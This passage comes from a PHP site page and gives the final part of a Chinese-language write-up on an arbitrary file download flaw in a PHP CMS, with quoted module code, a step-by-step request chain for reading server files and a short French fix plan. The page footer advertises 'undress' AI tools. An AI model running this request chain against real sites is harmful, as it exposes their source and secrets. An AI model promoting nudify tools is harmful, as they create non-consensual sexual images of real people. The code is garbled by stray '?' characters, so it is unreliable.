class="brush:php;toolbar:false">index.php?m=content&c=down&a=download&a_k=e5586zx1k-uH8PRhk2ZfPApV5cxalMnAJy46MpO8iy7DgyxWqwZHqFVpQJTxDmmUJxrF0gx_WRIv-iSKq2Z8YEWc-LRXIrr9EgT-pAEJtGGBUcVCOoI3WlMdxajPdFuIqpsY</pre><p>最終提示下載文件,文件下載成功,打開來(lái)看確實(shí)是index.php內(nèi)容。</p><h3 id="繞過(guò)attachment模塊權(quán)限限制完成無(wú)限制利用">2.5繞過(guò)attachment模塊權(quán)限限制完成無(wú)限制利用</h3><pre class="brush:php;toolbar:false">class attachments { private $att_db; function __construct() { pc_base::load_app_func(&#39;global&#39;); $this->upload_url?=?pc_base::load_config('system','upload_url'); ????????$this->upload_path?=?pc_base::load_config('system','upload_path');???????? ????????$this->imgext?=?array('jpg','gif','png','bmp','jpeg'); ????????$this->userid?=?$_SESSION['userid']???$_SESSION['userid']?:?(param::get_cookie('_userid')???param::get_cookie('_userid')?:?sys_auth($_POST['userid_flash'],'DECODE')); ????????$this->isadmin?=?$this->admin_username?=?$_SESSION['roleid']???1?:?0; ????????$this->groupid?=?param::get_cookie('_groupid')???param::get_cookie('_groupid')?:?8; ????????//判斷是否登錄 ????????if(empty($this->userid)){ ????????????showmessage(L('please_login','','member')); ????????} ????}</p> <p>可以發(fā)現(xiàn)</p> <pre class="brush:php;toolbar:false">sys_auth($_POST['userid_flash'],'DECODE')</pre> <p>可控制$this->userid且沒(méi)有復(fù)雜的權(quán)限校驗(yàn),而且又是默認(rèn)AUTH_KEY加密的。</p> <p>全文找下無(wú)限制可以set_cookie的,發(fā)現(xiàn)WAP模塊可以利用</p> <pre class="brush:php;toolbar:false">pc_base::load_sys_class('format',?'',?0); class?index?{ ????function?__construct()?{???????? ????????$this->db?=?pc_base::load_model('content_model'); ????????$this->siteid?=?isset($_GET['siteid'])?&&?(intval($_GET['siteid'])?>?0)???intval(trim($_GET['siteid']))?:?(param::get_cookie('siteid')???param::get_cookie('siteid')?:?1); ????????param::set_cookie('siteid',$this->siteid);???? ????????$this->wap_site?=?getcache('wap_site','wap'); ????????$this->types?=?getcache('wap_type','wap'); ????????$this->wap?=?$this->wap_site[$this->siteid]; ????????define('WAP_SITEURL',?$this->wap['domain']???$this->wap['domain'].'index.php?'?:?APP_PATH.'index.php?m=wap&siteid='.$this->siteid); ????????if($this->wap['status']!=1)?exit(L('wap_close_status')); ????}</pre> <p>沒(méi)有任何條件限制我們可以$_GET['siteid']來(lái)控制param::set_cookie('siteid',$this->siteid),且默認(rèn)都有WAP模塊的文件,但不需要開啟。</p> <h2 id="EXP編寫">3.EXP編寫</h2> <p>流程如下:</p> <ol> <li><p>index.php?m=wap&c=index&siteid=1 獲取名稱為siteid的cookie。</p></li> <li> <p>訪問(wèn)index.php?m=attachment&c=attachments&a=swfupload_json&aid=1</p> <pre class="brush:php;toolbar:false">&src=想要讀取文件的payload,并且訪問(wèn)的時(shí)候設(shè)置post字段userid_flash為步驟一獲取的cookie.</pre> </li> </ol> <p>響應(yīng)成功之后,獲取名稱為att_json的cookie</p> <ol><li><p>訪問(wèn)index.php?m=content&c=down&a=init&a_k=獲取到的att_json,來(lái)構(gòu)造最終漏洞利用路徑,</p></li></ol> <p>可以直接截取生成的$a_k</p> <ol><li><p>訪問(wèn)index.php?m=content&c=download&a=init&a_k=截取的$a_k.完成利用。</p></li></ol> <h2 id="Plan-de-réparation">4. Plan de réparation </h2> <p>N'utilisez pas la clé par défaut pour le chiffrement et le déchiffrement $a_k sys_auth dans la méthode init. </p> <p>Filtrez à nouveau $fileurl avant file_down. </p>

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefa?on, veuillez contacter admin@php.cn

Outils d'IA chauds

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

Video Face Swap

Video Face Swap

échangez les visages dans n'importe quelle vidéo sans effort grace à notre outil d'échange de visage AI entièrement gratuit?!

Article chaud

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Sujets chauds

Tutoriel PHP
1502
276
PHP appelle AI Intelligent Voice Assistant Assistant PHP Interaction System Construction PHP appelle AI Intelligent Voice Assistant Assistant PHP Interaction System Construction Jul 25, 2025 pm 08:45 PM

L'entrée vocale de l'utilisateur est capturée et envoyée au backend PHP via l'API MediaRecorder du JavaScript frontal; 2. PHP enregistre l'audio en tant que fichier temporaire et appelle STTAPI (tel que Google ou Baidu Voice Recognition) pour le convertir en texte; 3. PHP envoie le texte à un service d'IA (comme Openaigpt) pour obtenir une réponse intelligente; 4. PHP appelle ensuite TTSAPI (comme Baidu ou Google Voice Synthesis) pour convertir la réponse en fichier vocal; 5. PHP diffuse le fichier vocal vers l'avant pour jouer, terminant l'interaction. L'ensemble du processus est dominé par PHP pour assurer une connexion transparente entre toutes les liens.

Comment utiliser PHP pour créer des fonctions de partage social PHP Partage d'interface Pratique Comment utiliser PHP pour créer des fonctions de partage social PHP Partage d'interface Pratique Jul 25, 2025 pm 08:51 PM

La méthode principale de création de fonctions de partage social dans PHP est de générer dynamiquement des liens de partage qui répondent aux exigences de chaque plate-forme. 1. Obtenez d'abord la page actuelle ou les informations d'URL et d'article spécifiées; 2. Utilisez UrLencode pour coder les paramètres; 3. épisser et générer des liens de partage en fonction des protocoles de chaque plate-forme; 4. Afficher les liens sur l'avant pour que les utilisateurs puissent cliquer et partager; 5. Générez dynamiquement des balises OG sur la page pour optimiser l'affichage du contenu du partage; 6. Assurez-vous d'échapper à la saisie des utilisateurs pour empêcher les attaques XSS. Cette méthode ne nécessite pas d'authentification complexe, a de faibles co?ts de maintenance et convient à la plupart des besoins de partage de contenu.

Comment utiliser PHP combiné avec l'IA pour obtenir la correction de texte de la syntaxe PHP détection et l'optimisation Comment utiliser PHP combiné avec l'IA pour obtenir la correction de texte de la syntaxe PHP détection et l'optimisation Jul 25, 2025 pm 08:57 PM

Pour réaliser la correction d'erreur de texte et l'optimisation de la syntaxe avec l'IA, vous devez suivre les étapes suivantes: 1. Sélectionnez un modèle ou une API d'IA appropriée, tels que Baidu, Tencent API ou bibliothèque NLP open source; 2. Appelez l'API via Curl ou Guzzle de PHP et traitez les résultats de retour; 3. Afficher les informations de correction d'erreur dans l'application et permettre aux utilisateurs de choisir d'adopter l'adoption; 4. Utilisez PHP-L et PHP_CODESNIFFER pour la détection de syntaxe et l'optimisation du code; 5. Collectez en continu les commentaires et mettez à jour le modèle ou les règles pour améliorer l'effet. Lorsque vous choisissez AIAPI, concentrez-vous sur l'évaluation de la précision, de la vitesse de réponse, du prix et du support pour PHP. L'optimisation du code doit suivre les spécifications du PSR, utiliser le cache raisonnablement, éviter les requêtes circulaires, revoir le code régulièrement et utiliser x

PHP crée un système de commentaires de blog pour monétiser la revue des commentaires PHP et la stratégie anti-brosse PHP crée un système de commentaires de blog pour monétiser la revue des commentaires PHP et la stratégie anti-brosse Jul 25, 2025 pm 08:27 PM

1. La maximisation de la valeur commerciale du système de commentaires nécessite de combiner la livraison précise de la publicité native, les services à valeur ajoutée par l'utilisateur (tels que le téléchargement d'images, les commentaires de recharge), d'influencer le mécanisme d'incitation basé sur la qualité des commentaires et la conformité de la monétisation anonyme des données de données; 2. La stratégie d'audit doit adopter une combinaison de mécanismes de filtrage des mots clés dynamiques pré-audit et de signalement des utilisateurs, complétés par une note de qualité des commentaires pour réaliser une exposition hiérarchique de contenu; 3. Anti-brosses nécessite la construction d'une défense multicouche: la vérification sans capteur RecaptChav3, le robot de reconnaissance de champ de miel, IP et la limite de fréquence d'horodatage empêchent l'arrosage, et la reconnaissance du modèle de contenu marque les commentaires suspects et itéra en continu pour traiter les attaques.

Comment utiliser PHP pour combiner l'IA pour générer une image. PHP génère automatiquement des ?uvres d'art Comment utiliser PHP pour combiner l'IA pour générer une image. PHP génère automatiquement des ?uvres d'art Jul 25, 2025 pm 07:21 PM

PHP n'effectue pas directement un traitement d'image AI, mais s'intègre via les API, car il est bon dans le développement Web plut?t que dans les taches à forte intensité informatique. L'intégration de l'API peut atteindre une division professionnelle du travail, réduire les co?ts et améliorer l'efficacité; 2. Intégration des technologies clés incluez l'utilisation de Guzzle ou Curl pour envoyer des demandes HTTP, le codage et le décodage des données JSON, l'authentification de la sécurité des clés de l'API, les taches de traitement de la file d'attente asynchrones, les taches prenant du temps, la gestion des erreurs robuste et le mécanisme de retrait, le stockage et l'affichage d'images; 3. Les défis courants incluent le co?t des API incontr?lable, les résultats de génération incontr?lables, la mauvaise expérience utilisateur, les risques de sécurité et la gestion difficile des données. Les stratégies de réponse consistent à définir des quotas et des caches utilisateur, en fournissant des conseils ProTT et une sélection multi-images, des notifications asynchrones et des invites de progrès, un stockage et un audit de contenu de la variable d'environnement clé et un stockage cloud.

PHP réalise la gestion des stocks de produits de base et la monétisation de la synchronisation et du mécanisme d'alarme de l'inventaire PHP PHP réalise la gestion des stocks de produits de base et la monétisation de la synchronisation et du mécanisme d'alarme de l'inventaire PHP Jul 25, 2025 pm 08:30 PM

PHP assure l'atomicité de la déduction des stocks via les transactions de base de données et les verrous en ligne de Forupdate pour empêcher la survente élevée élevée en simultation; 2. La cohérence de l'inventaire multiplateforme dépend de la gestion centralisée et de la synchronisation axée sur les événements, combinant des notifications API / WebHook et des files d'attente de messages pour assurer une transmission fiable de données; 3. Le mécanisme d'alarme doit définir un faible inventaire, un inventaire zéro / négatif, des ventes invidables, des cycles de réapprovisionnement et des stratégies de fluctuations anormales dans différents scénarios, et sélectionner Dingtalk, SMS ou les personnes responsables par e-mail en fonction de l'urgence, et les informations d'alarme doivent être complètes et claires pour réaliser l'adaptation et la réponse rapide.

Au-delà de la pile de lampe: le r?le de PHP dans l'architecture d'entreprise moderne Au-delà de la pile de lampe: le r?le de PHP dans l'architecture d'entreprise moderne Jul 27, 2025 am 04:31 AM

PhpisstillRelevantinmodernerterpriseenvironments.1.modernPhp (7.xand8.x) offre des performances, des stricts, un jitcompilation, et modernsyntax, rendant la main

Comment créer un environnement PHP Nginx avec MacOS pour configurer la combinaison des services Nginx et PHP Comment créer un environnement PHP Nginx avec MacOS pour configurer la combinaison des services Nginx et PHP Jul 25, 2025 pm 08:24 PM

Le r?le principal de Homebrew dans la construction de l'environnement Mac est de simplifier l'installation et la gestion des logiciels. 1. Homebrew gère automatiquement les dépendances et encapsule les processus de compilation et d'installation complexes en commandes simples; 2. Fournit un écosystème de package logiciel unifié pour assurer la normalisation de l'emplacement et de la configuration de l'installation logicielle; 3. Intègre les fonctions de gestion des services et peut facilement démarrer et arrêter les services via BrewServices; 4. Mise à niveau et maintenance des logiciels pratiques et améliore la sécurité et les fonctionnalités du système.

See all articles